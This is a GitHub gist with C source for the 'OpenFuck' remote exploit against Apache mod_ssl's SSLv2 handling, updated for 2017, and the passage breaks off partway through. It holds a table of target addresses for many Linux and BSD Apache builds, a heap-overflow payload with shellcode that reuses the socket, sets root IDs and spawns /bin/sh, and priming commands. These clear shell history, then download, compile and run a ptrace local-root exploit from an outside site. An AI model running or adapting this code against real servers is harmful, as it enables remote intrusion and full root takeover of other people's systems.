Created
June 7, 2017 15:02
-
-
Save flagranterror/416d7d2a470aefc65108481f2b224060 to your computer and use it in GitHub Desktop.
OpenF_ckV2 with fixes for 2017
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/ | |
* | |
* OF version r00t VERY PRIV8 spabam | |
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto | |
* objdump -R /usr/sbin/httpd|grep free to get more targets | |
* #hackarena irc.brasnet.org | |
*/ | |
#include <arpa/inet.h> | |
#include <netinet/in.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netdb.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <openssl/ssl.h> | |
#include <openssl/rsa.h> | |
#include <openssl/x509.h> | |
#include <openssl/evp.h> | |
#include <openssl/rc4.h> | |
#include <openssl/md5.h> | |
/* update this if you add architectures */ | |
#define MAX_ARCH 138 | |
struct archs { | |
char* desc; | |
int func_addr; /* objdump -R /usr/sbin/httpd | grep free */ | |
} architectures[] = { | |
{ | |
"Caldera OpenLinux (apache-1.3.26)", | |
0x080920e0 | |
}, | |
{ | |
"Cobalt Sun 6.0 (apache-1.3.12)", | |
0x8120f0c | |
}, | |
{ | |
"Cobalt Sun 6.0 (apache-1.3.20)", | |
0x811dcb8 | |
}, | |
{ | |
"Cobalt Sun x (apache-1.3.26)", | |
0x8123ac3 | |
}, | |
{ | |
"Cobalt Sun x Fixed2 (apache-1.3.26)", | |
0x81233c3 | |
}, | |
{ | |
"Conectiva 4 (apache-1.3.6)", | |
0x08075398 | |
}, | |
{ | |
"Conectiva 4.1 (apache-1.3.9)", | |
0x0808f2fe | |
}, | |
{ | |
"Conectiva 6 (apache-1.3.14)", | |
0x0809222c | |
}, | |
{ | |
"Conectiva 7 (apache-1.3.12)", | |
0x0808f874 | |
}, | |
{ | |
"Conectiva 7 (apache-1.3.19)", | |
0x08088aa0 | |
}, | |
{ | |
"Conectiva 7/8 (apache-1.3.26)", | |
0x0808e628 | |
}, | |
{ | |
"Conectiva 8 (apache-1.3.22)", | |
0x0808b2d0 | |
}, | |
{ | |
"Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)", | |
0x08095264 | |
}, | |
{ | |
"Debian GNU Linux (apache_1.3.19-1)", | |
0x080966fc | |
}, | |
{ | |
"Debian GNU Linux (apache_1.3.22-2)", | |
0x08096aac | |
}, | |
{ | |
"Debian GNU Linux (apache-1.3.22-2.1)", | |
0x08083828 | |
}, | |
{ | |
"Debian GNU Linux (apache-1.3.22-5)", | |
0x08083728 | |
}, | |
{ | |
"Debian GNU Linux (apache_1.3.23-1)", | |
0x08085de8 | |
}, | |
{ | |
"Debian GNU Linux (apache_1.3.24-2.1)", | |
0x08087d08 | |
}, | |
{ "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)", | |
0x080873ac | |
}, | |
{ | |
"Debian GNU Linux (apache_1.3.24-3)", | |
0x08087d68 | |
}, | |
{ | |
"Debian GNU Linux (apache-1.3.26-1)", | |
0x0080863c4 | |
}, | |
{ | |
"Debian GNU Linux 3.0 Woody (apache-1.3.26-1)", | |
0x080863cc | |
}, | |
{ "Debian GNU Linux (apache-1.3.27)", | |
0x0080866a3 | |
}, | |
{ "FreeBSD (apache-1.3.9)", 0xbfbfde00 }, | |
{ "FreeBSD (apache-1.3.11)", 0x080a2ea8 }, | |
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 }, | |
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 }, | |
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c }, | |
{ "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 }, | |
{ "FreeBSD (apache-1.3.12)", 0x0809bd7c }, | |
{ "FreeBSD (apache-1.3.14)", 0xbfbfdc00 }, | |
{ "FreeBSD (apache-1.3.14)", 0x080ab68c }, | |
{ "FreeBSD (apache-1.3.14)", 0x0808c76c }, | |
{ "FreeBSD (apache-1.3.14)", 0x080a3fc8 }, | |
{ "FreeBSD (apache-1.3.14)", 0x080ab6d8 }, | |
{ "FreeBSD (apache-1.3.17_1)", 0x0808820c }, | |
{ "FreeBSD (apache-1.3.19)", 0xbfbfdc00 }, | |
{ "FreeBSD (apache-1.3.19_1)", 0x0808c96c }, | |
{ "FreeBSD (apache-1.3.20)", 0x0808cb70 }, | |
{ "FreeBSD (apache-1.3.20)", 0xbfbfc000 }, | |
{ "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 }, | |
{ "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 }, | |
{ "FreeBSD (apache-1.3.22)", 0xbfbfc000 }, | |
{ "FreeBSD (apache-1.3.22_7)", 0x0808d110 }, | |
{ "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 }, | |
{ "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 }, | |
{ "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 }, | |
{ "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c }, | |
{ "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec }, | |
{ "FreeBSD (apache-1.3.27)", 0x080902e4 }, | |
{ | |
"Gentoo Linux (apache-1.3.24-r2)", | |
0x08086c34 | |
}, | |
{ | |
"Linux Generic (apache-1.3.14)", | |
0xbffff500 | |
}, | |
{ | |
"Mandrake Linux X.x (apache-1.3.22-10.1mdk)", | |
0x080808ab | |
}, | |
{ | |
"Mandrake Linux 7.1 (apache-1.3.14-2)", | |
0x0809f6c4 | |
}, | |
{ | |
"Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)", | |
0x0809d233 | |
}, | |
{ | |
"Mandrake Linux 7.2 (apache-1.3.14-2mdk)", | |
0x0809f6ef | |
}, | |
{ | |
"Mandrake Linux 7.2 (apache-1.3.14) 2", | |
0x0809d6c4 | |
}, | |
{ | |
"Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)", | |
0x0809ccde | |
}, | |
{ | |
"Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)", | |
0x0809ce14 | |
}, | |
{ | |
"Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)", | |
0x0809d262 | |
}, | |
{ | |
"Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)", | |
0x08083545 | |
}, | |
{ | |
"Mandrake Linux 8.0 (apache-1.3.19-3)", | |
0x0809ea98 | |
}, | |
{ | |
"Mandrake Linux 8.1 (apache-1.3.20-3)", | |
0x0809e97c | |
}, | |
{ | |
"Mandrake Linux 8.2 (apache-1.3.23-4)", | |
0x08086580 | |
}, | |
{ "Mandrake Linux 8.2 #2 (apache-1.3.23-4)", | |
0x08086484 | |
}, | |
{ "Mandrake Linux 8.2 (apache-1.3.24)", | |
0x08086665 | |
}, | |
{ "Mandrake Linux 9 (apache-1.3.26)", | |
0x0808b864 | |
}, | |
{ | |
"RedHat Linux ?.? GENERIC (apache-1.3.12-1)", | |
0x0808c0f4 | |
}, | |
{ | |
"RedHat Linux TEST1 (apache-1.3.12-1)", | |
0x0808c0f4 | |
}, | |
{ | |
"RedHat Linux TEST2 (apache-1.3.12-1)", | |
0x0808c0f4 | |
}, | |
{ | |
"RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)", | |
0x080d2c35 | |
}, | |
{ | |
"RedHat Linux 4.2 (apache-1.1.3-3)", | |
0x08065bae | |
}, | |
{ | |
"RedHat Linux 5.0 (apache-1.2.4-4)", | |
0x0808c82c | |
}, | |
{ | |
"RedHat Linux 5.1-Update (apache-1.2.6)", | |
0x08092a45 | |
}, | |
{ | |
"RedHat Linux 5.1 (apache-1.2.6-4)", | |
0x08092c2d | |
}, | |
{ | |
"RedHat Linux 5.2 (apache-1.3.3-1)", | |
0x0806f049 | |
}, | |
{ | |
"RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)", | |
0x0808e4d8 | |
}, | |
{ | |
"RedHat Linux 6.0 (apache-1.3.6-7)", | |
0x080707ec | |
}, | |
{ | |
"RedHat Linux 6.0 (apache-1.3.6-7)", | |
0x080707f9 | |
}, | |
{ | |
"RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)", | |
0x0808fd52 | |
}, | |
{ | |
"RedHat Linux 6.0 Update (apache-1.3.24)", | |
0x80acd58 | |
}, | |
{ | |
"RedHat Linux 6.1 (apache-1.3.9-4)1", | |
0x0808ccc4 | |
}, | |
{ | |
"RedHat Linux 6.1 (apache-1.3.9-4)2", | |
0x0808ccdc | |
}, | |
{ | |
"RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)", | |
0x0808fd5d | |
}, | |
{ | |
"RedHat Linux 6.1-fp2000 (apache-1.3.26)", | |
0x082e6fcd | |
}, | |
{ | |
"RedHat Linux 6.2 (apache-1.3.12-2)1", | |
0x0808f689 | |
}, | |
{ | |
"RedHat Linux 6.2 (apache-1.3.12-2)2", | |
0x0808f614 | |
}, | |
{ | |
"RedHat Linux 6.2 mod(apache-1.3.12-2)3", | |
0xbffff94c | |
}, | |
{ | |
"RedHat Linux 6.2 update (apache-1.3.22-5.6)1", | |
0x0808f9ec | |
}, | |
{ | |
"RedHat Linux 6.2-Update (apache-1.3.22-5.6)2", | |
0x0808f9d4 | |
}, | |
{ | |
"Redhat Linux 7.x (apache-1.3.22)", | |
0x0808400c | |
}, | |
{ | |
"RedHat Linux 7.x (apache-1.3.26-1)", | |
0x080873bc | |
}, | |
{ "RedHat Linux 7.x (apache-1.3.27)", | |
0x08087221 | |
}, | |
{ | |
"RedHat Linux 7.0 (apache-1.3.12-25)1", | |
0x0809251c | |
}, | |
{ | |
"RedHat Linux 7.0 (apache-1.3.12-25)2", | |
0x0809252d | |
}, | |
{ | |
"RedHat Linux 7.0 (apache-1.3.14-2)", | |
0x08092b98 | |
}, | |
{ | |
"RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)", | |
0x08084358 | |
}, | |
{ | |
"RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)", | |
0x0808438c | |
}, | |
{ | |
"RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)", | |
0x08086e41 | |
}, | |
{ | |
"RedHat Linux 7.1 (apache-1.3.19-5)1", | |
0x0809af8c | |
}, | |
{ | |
"RedHat Linux 7.1 (apache-1.3.19-5)2", | |
0x0809afd9 | |
}, | |
{ | |
"RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)", | |
0x0808438c | |
}, | |
{ | |
"RedHat Linux 7.1-Update (1.3.22-5.7.1)", | |
0x08084389 | |
}, | |
{ | |
"RedHat Linux 7.1 (apache-1.3.22-src)", | |
0x0816021c | |
}, | |
{ | |
"RedHat Linux 7.1-Update (1.3.27-1.7.1)", | |
0x08086ec89 | |
}, | |
{ | |
"RedHat Linux 7.2 (apache-1.3.20-16)1", | |
0x080994e5 | |
}, | |
{ | |
"RedHat Linux 7.2 (apache-1.3.20-16)2", | |
0x080994d4 | |
}, | |
{ | |
"RedHat Linux 7.2-Update (apache-1.3.22-6)", | |
0x08084045 | |
}, | |
{ | |
"RedHat Linux 7.2 (apache-1.3.24)", | |
0x80b0938 | |
}, | |
{ | |
"RedHat Linux 7.2 (apache-1.3.26)", | |
0x08161c16 | |
}, | |
{ | |
"RedHat Linux 7.2 (apache-1.3.26-snc)", | |
0x8161c14 | |
}, | |
{ | |
"Redhat Linux 7.2 (apache-1.3.26 w/PHP)1", | |
0x08269950 | |
}, | |
{ | |
"Redhat Linux 7.2 (apache-1.3.26 w/PHP)2", | |
0x08269988 | |
}, | |
{ | |
"RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)", | |
0x08086af9 | |
}, | |
{ | |
"RedHat Linux 7.3 (apache-1.3.23-11)1", | |
0x0808528c | |
}, | |
{ | |
"RedHat Linux 7.3 (apache-1.3.23-11)2", | |
0x0808525f | |
}, | |
{ | |
"RedHat Linux 7.3 (apache-1.3.27)", | |
0x080862e4 | |
}, | |
{ "RedHat Linux 8.0 (apache-1.3.27)", | |
0x08084c1c | |
}, | |
{ "RedHat Linux 8.0-second (apache-1.3.27)", | |
0x0808151e | |
}, | |
{ "RedHat Linux 8.0 (apache-2.0.40)", | |
0x08092fa4 | |
}, | |
{ | |
"Slackware Linux 4.0 (apache-1.3.6)", | |
0x08088130 | |
}, | |
{ | |
"Slackware Linux 7.0 (apache-1.3.9)", | |
0x080a7fc0 | |
}, | |
{ | |
"Slackware Linux 7.0 (apache-1.3.26)", | |
0x083d37fc | |
}, | |
{ "Slackware 7.0 (apache-1.3.26)2", | |
0x083d2232 | |
}, | |
{ | |
"Slackware Linux 7.1 (apache-1.3.12)", | |
0x080a86a4 | |
}, | |
{ | |
"Slackware Linux 8.0 (apache-1.3.20)", | |
0x080ae67c | |
}, | |
{ | |
"Slackware Linux 8.1 (apache-1.3.24)", | |
0x080b0c60 | |
}, | |
{ | |
"Slackware Linux 8.1 (apache-1.3.26)", | |
0x080b2100 | |
}, | |
{ | |
"Slackware Linux 8.1-stable (apache-1.3.26)", | |
0x080b0c60 | |
}, | |
{ "Slackware Linux (apache-1.3.27)", | |
0x080b1a3a | |
}, | |
{ | |
"SuSE Linux 7.0 (apache-1.3.12)", | |
0x0809f54c | |
}, | |
{ | |
"SuSE Linux 7.1 (apache-1.3.17)", | |
0x08099984 | |
}, | |
{ | |
"SuSE Linux 7.2 (apache-1.3.19)", | |
0x08099ec8 | |
}, | |
{ | |
"SuSE Linux 7.3 (apache-1.3.20)", | |
0x08099da8 | |
}, | |
{ | |
"SuSE Linux 8.0 (apache-1.3.23)", | |
0x08086168 | |
}, | |
{ | |
"SUSE Linux 8.0 (apache-1.3.23-120)", | |
0x080861c8 | |
}, | |
{ | |
"SuSE Linux 8.0 (apache-1.3.23-137)", | |
0x080861c8 | |
}, | |
/* this one unchecked cause require differend shellcode */ | |
{ | |
"Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)", | |
0xfd42630 | |
}, | |
}; | |
extern int errno; | |
int cipher; | |
int ciphers; | |
/* the offset of the local port from be beginning of the overwrite next chunk buffer */ | |
#define FINDSCKPORTOFS 208 + 12 + 46 | |
unsigned char overwrite_session_id_length[] = | |
"AAAA" /* int master key length; */ | |
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */ | |
"\x70\x00\x00\x00"; /* unsigned int session id length; */ | |
unsigned char overwrite_next_chunk[] = | |
"AAAA" /* int master key length; */ | |
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */ | |
"AAAA" /* unsigned int session id length; */ | |
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */ | |
"AAAA" /* unsigned int sid ctx length; */ | |
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */ | |
"AAAA" /* int not resumable; */ | |
"\x00\x00\x00\x00" /* struct sess cert st *sess cert; */ | |
"\x00\x00\x00\x00" /* X509 *peer; */ | |
"AAAA" /* long verify result; */ | |
"\x01\x00\x00\x00" /* int references; */ | |
"AAAA" /* int timeout; */ | |
"AAAA" /* int time */ | |
"AAAA" /* int compress meth; */ | |
"\x00\x00\x00\x00" /* SSL CIPHER *cipher; */ | |
"AAAA" /* unsigned long cipher id; */ | |
"\x00\x00\x00\x00" /* STACK OF(SSL CIPHER) *ciphers; */ | |
"\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */ | |
"AAAAAAAA" /* struct ssl session st *prev,*next; */ | |
"\x00\x00\x00\x00" /* Size of previous chunk */ | |
"\x11\x00\x00\x00" /* Size of chunk, in bytes */ | |
"fdfd" /* Forward and back pointers */ | |
"bkbk" | |
"\x10\x00\x00\x00" /* Size of previous chunk */ | |
"\x10\x00\x00\x00" /* Size of chunk, PREV INUSE is set */ | |
/* shellcode start */ | |
"\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */ | |
"\x90\x90\x90\x90" | |
"\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */ | |
/* 72 bytes findsckcode by LSD-pl */ | |
"\x31\xdb" /* xorl %ebx,%ebx */ | |
"\x89\xe7" /* movl %esp,%edi */ | |
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */ | |
"\x89\x77\x04" /* movl %esi,0x4(%edi) */ | |
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */ | |
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */ | |
"\xb3\x10" /* movb $0x10,%bl */ | |
"\x89\x19" /* movl %ebx,(%ecx) */ | |
"\x31\xc9" /* xorl %ecx,%ecx */ | |
"\xb1\xff" /* movb $0xff,%cl */ | |
"\x89\x0f" /* movl %ecx,(%edi) */ | |
"\x51" /* pushl %ecx */ | |
"\x31\xc0" /* xorl %eax,%eax */ | |
"\xb0\x66" /* movb $0x66,%al */ | |
"\xb3\x07" /* movb $0x07,%bl */ | |
"\x89\xf9" /* movl %edi,%ecx */ | |
"\xcd\x80" /* int $0x80 */ | |
"\x59" /* popl %ecx */ | |
"\x31\xdb" /* xorl %ebx,%ebx */ | |
"\x39\xd8" /* cmpl %ebx,%eax */ | |
"\x75\x0a" /* jne <findsckcode+54> */ | |
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */ | |
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */ | |
"\x74\x02" /* je <findsckcode+56> */ | |
"\xe2\xe0" /* loop <findsckcode+24> */ | |
"\x89\xcb" /* movl %ecx,%ebx */ | |
"\x31\xc9" /* xorl %ecx,%ecx */ | |
"\xb1\x03" /* movb $0x03,%cl */ | |
"\x31\xc0" /* xorl %eax,%eax */ | |
"\xb0\x3f" /* movb $0x3f,%al */ | |
"\x49" /* decl %ecx */ | |
"\xcd\x80" /* int $0x80 */ | |
"\x41" /* incl %ecx */ | |
"\xe2\xf6" /* loop <findsckcode+62> */ | |
/* 10 byte setresuid(0,0,0); by core */ | |
"\x31\xc9" /* xor %ecx,%ecx */ | |
"\xf7\xe1" /* mul %ecx,%eax */ | |
"\x51" /* push %ecx */ | |
"\x5b" /* pop %ebx */ | |
"\xb0\xa4" /* mov $0xa4,%al */ | |
"\xcd\x80" /* int $0x80 */ | |
/* bigger shellcode added by spabam */ | |
/* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69" | |
"\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80" | |
*/ | |
/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */ | |
"\x31\xc0" /* xorl %eax,%eax */ | |
"\x50" /* pushl %eax */ | |
"\x68""//sh" /* pushl $0x68732f2f */ | |
"\x68""/bin" /* pushl $0x6e69622f */ | |
"\x89\xe3" /* movl %esp,%ebx */ | |
"\x50" /* pushl %eax */ | |
"\x53" /* pushl %ebx */ | |
"\x89\xe1" /* movl %esp,%ecx */ | |
"\x99" /* cdql */ | |
"\xb0\x0b" /* movb $0x0b,%al */ | |
"\xcd\x80"; /* int $0x80 */ | |
/* read and write buffer*/ | |
#define BUFSIZE 16384 | |
/* hardcoded protocol stuff */ | |
#define CHALLENGE_LENGTH 16 | |
#define RC4_KEY_LENGTH 16 /* 128 bits */ | |
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2) | |
/* straight from the openssl source */ | |
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2) | |
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2) | |
/* we keep all SSL2 state in this structure */ | |
typedef struct { | |
int sock; | |
/* client stuff */ | |
unsigned char challenge[CHALLENGE_LENGTH]; | |
unsigned char master_key[RC4_KEY_LENGTH]; | |
unsigned char key_material[RC4_KEY_MATERIAL_LENGTH]; | |
/* connection id - returned by the server */ | |
int conn_id_length; | |
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH]; | |
/* server certificate */ | |
X509 *x509; | |
/* session keys */ | |
unsigned char* read_key; | |
unsigned char* write_key; | |
RC4_KEY* rc4_read_key; | |
RC4_KEY* rc4_write_key; | |
/* sequence numbers, used for MAC calculation */ | |
int read_seq; | |
int write_seq; | |
/* set to 1 when the SSL2 handshake is complete */ | |
int encrypted; | |
} ssl_conn; | |
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n" | |
#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p \n" | |
long getip(char *hostname) { | |
struct hostent *he; | |
long ipaddr; | |
if ((ipaddr = inet_addr(hostname)) < 0) { | |
if ((he = gethostbyname(hostname)) == NULL) { | |
perror("gethostbyname()"); | |
exit(-1); | |
} | |
memcpy(&ipaddr, he->h_addr, he->h_length); | |
} | |
return ipaddr; | |
} | |
/* mixter's code w/enhancements by core */ | |
int sh(int sockfd) { | |
char snd[1024], rcv[1024]; | |
fd_set rset; | |
int maxfd, n; | |
/* Priming commands */ | |
strcpy(snd, COMMAND1 "\n"); | |
write(sockfd, snd, strlen(snd)); | |
strcpy(snd, COMMAND2 "\n"); | |
write(sockfd, snd, strlen(snd)); | |
/* Main command loop */ | |
for (;;) { | |
FD_SET(fileno(stdin), &rset); | |
FD_SET(sockfd, &rset); | |
maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; | |
select(maxfd, &rset, NULL, NULL, NULL); | |
if (FD_ISSET(fileno(stdin), &rset)) { | |
bzero(snd, sizeof(snd)); | |
fgets(snd, sizeof(snd)-2, stdin); | |
write(sockfd, snd, strlen(snd)); | |
} | |
if (FD_ISSET(sockfd, &rset)) { | |
bzero(rcv, sizeof(rcv)); | |
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { | |
printf("Good Bye!\n"); | |
return 0; | |
} | |
if (n < 0) { | |
perror("read"); | |
return 1; | |
} | |
fputs(rcv, stdout); | |
fflush(stdout); /* keeps output nice */ | |
} | |
} /* for(;;) */ | |
} | |
/* Returns the local port of a connected socket */ | |
int get_local_port(int sock) | |
{ | |
struct sockaddr_in s_in; | |
unsigned int namelen = sizeof(s_in); | |
if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) { | |
printf("Can't get local port: %s\n", strerror(errno)); | |
exit(1); | |
} | |
return s_in.sin_port; | |
} | |
/* Connect to a host */ | |
int connect_host(char* host, int port) | |
{ | |
struct sockaddr_in s_in; | |
int sock; | |
s_in.sin_family = AF_INET; | |
s_in.sin_addr.s_addr = getip(host); | |
s_in.sin_port = htons(port); | |
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) { | |
printf("Could not create a socket\n"); | |
exit(1); | |
} | |
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) { | |
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno)); | |
exit(1); | |
} | |
return sock; | |
} | |
/* Create a new ssl conn structure and connect to a host */ | |
ssl_conn* ssl_connect_host(char* host, int port) | |
{ | |
ssl_conn* ssl; | |
if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) { | |
printf("Can't allocate memory\n"); | |
exit(1); | |
} | |
/* Initialize some values */ | |
ssl->encrypted = 0; | |
ssl->write_seq = 0; | |
ssl->read_seq = 0; | |
ssl->sock = connect_host(host, port); | |
return ssl; | |
} | |
/* global buffer used by the ssl result() */ | |
char res_buf[30]; | |
/* converts an SSL error code to a string */ | |
char* ssl_error(int code) { | |
switch (code) { | |
case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)"; | |
case 0x01: return "SSL2 PE NO CIPHER (0x01)"; | |
case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)"; | |
case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)"; | |
case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)"; | |
default: | |
sprintf(res_buf, "%02x", code); | |
return res_buf; | |
} | |
} | |
/* read len bytes from a socket. boring. */ | |
int read_data(int sock, unsigned char* buf, int len) | |
{ | |
int l; | |
int to_read = len; | |
do { | |
if ((l = read(sock, buf, to_read)) < 0) { | |
printf("Error in read: %s\n", strerror(errno)); | |
exit(1); | |
} | |
to_read -= len; | |
} while (to_read > 0); | |
return len; | |
} | |
/* reads an SSL packet and decrypts it if necessery */ | |
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) | |
{ | |
int rec_len, padding; | |
read_data(ssl->sock, buf, 2); | |
if ((buf[0] & 0x80) == 0) { | |
/* three byte header */ | |
rec_len = ((buf[0] & 0x3f) << 8) | buf[1]; | |
read_data(ssl->sock, &buf[2], 1); | |
padding = (int)buf[2]; | |
} | |
else { | |
/* two byte header */ | |
rec_len = ((buf[0] & 0x7f) << 8) | buf[1]; | |
padding = 0; | |
} | |
if ((rec_len <= 0) || (rec_len > buf_size)) { | |
printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); | |
exit(1); | |
} | |
read_data(ssl->sock, buf, rec_len); | |
if (ssl->encrypted) { | |
if (MD5_DIGEST_LENGTH + padding >= rec_len) { | |
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) { | |
/* the server didn't switch to encryption due to an error */ | |
return 0; | |
} | |
else { | |
printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len); | |
exit(1); | |
} | |
} | |
/* decrypt the encrypted part of the packet */ | |
RC4(ssl->rc4_read_key, rec_len, buf, buf); | |
/* move the decrypted message in the beginning of the buffer */ | |
rec_len = rec_len - MD5_DIGEST_LENGTH - padding; | |
memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len); | |
} | |
if (buf[0] == SSL2_MT_ERROR) { | |
if (rec_len != 3) { | |
printf("Malformed server error message\n"); | |
exit(1); | |
} | |
else { | |
return 0; | |
} | |
} | |
return rec_len; | |
} | |
/* send an ssl packet, encrypting it if ssl->encrypted is set */ | |
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) | |
{ | |
unsigned char buf[BUFSIZE]; | |
unsigned char* p; | |
int tot_len; | |
MD5_CTX ctx; | |
int seq; | |
if (ssl->encrypted) | |
tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */ | |
else | |
tot_len = rec_len; | |
if (2 + tot_len > BUFSIZE) { | |
printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); | |
exit(1); | |
} | |
p = buf; | |
s2n(tot_len, p); | |
buf[0] = buf[0] | 0x80; /* two byte header */ | |
if (ssl->encrypted) { | |
/* calculate the MAC */ | |
seq = ntohl(ssl->write_seq); | |
MD5_Init(&ctx); | |
MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH); | |
MD5_Update(&ctx, rec, rec_len); | |
MD5_Update(&ctx, &seq, 4); | |
MD5_Final(p, &ctx); | |
p+=MD5_DIGEST_LENGTH; | |
memcpy(p, rec, rec_len); | |
/* encrypt the payload */ | |
RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]); | |
} | |
else { | |
memcpy(p, rec, rec_len); | |
} | |
send(ssl->sock, buf, 2 + tot_len, 0); | |
/* the sequence number is incremented by both encrypted and plaintext packets | |
*/ | |
ssl->write_seq++; | |
} | |
/* Send a CLIENT HELLO message to the server */ | |
void send_client_hello(ssl_conn *ssl) | |
{ | |
int i; | |
unsigned char buf[BUFSIZE] = | |
"\x01" /* client hello msg */ | |
"\x00\x02" /* client version */ | |
"\x00\x18" /* cipher specs length */ | |
"\x00\x00" /* session id length */ | |
"\x00\x10" /* challenge length */ | |
"\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */ | |
"\x80\x01\x00\x80\x08\x00\x80\x06" | |
"\x00\x40\x04\x00\x80\x02\x00\x80" | |
""; /* session id data */ | |
/* generate CHALLENGE LENGTH bytes of challenge data */ | |
for (i = 0; i < CHALLENGE_LENGTH; i++) { | |
ssl->challenge[i] = (unsigned char) (rand() >> 24); | |
} | |
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH); | |
send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH); | |
} | |
/* Get a SERVER HELLO response from the server */ | |
void get_server_hello(ssl_conn* ssl) | |
{ | |
unsigned char buf[BUFSIZE]; | |
const unsigned char *p, *end; | |
int len; | |
int server_version, cert_length, cs_length, conn_id_length; | |
int found; | |
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) { | |
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1]))); | |
exit(1); | |
} | |
if (len < 11) { | |
printf("get_server_hello: Packet too short (len = %d)\n", len); | |
exit(1); | |
} | |
p = buf; | |
if (*(p++) != SSL2_MT_SERVER_HELLO) { | |
printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]); | |
exit(1); | |
} | |
if (*(p++) != 0) { | |
printf("get_server_hello: SESSION-ID-HIT is not 0\n"); | |
exit(1); | |
} | |
if (*(p++) != 1) { | |
printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n"); | |
exit(1); | |
} | |
